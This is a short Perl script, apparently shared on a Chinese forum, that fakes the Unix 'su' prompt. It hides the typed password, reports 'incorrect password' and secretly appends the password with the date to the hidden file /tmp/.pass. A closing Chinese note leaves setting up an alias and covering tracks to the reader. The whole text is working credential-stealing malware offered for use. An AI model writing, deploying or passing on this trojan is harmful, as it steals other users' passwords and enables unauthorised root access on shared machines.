#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@gmail.com>.
print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);
很明显直接用是8行的，还有别名恢复等工作要做，各位看官自己搞定！
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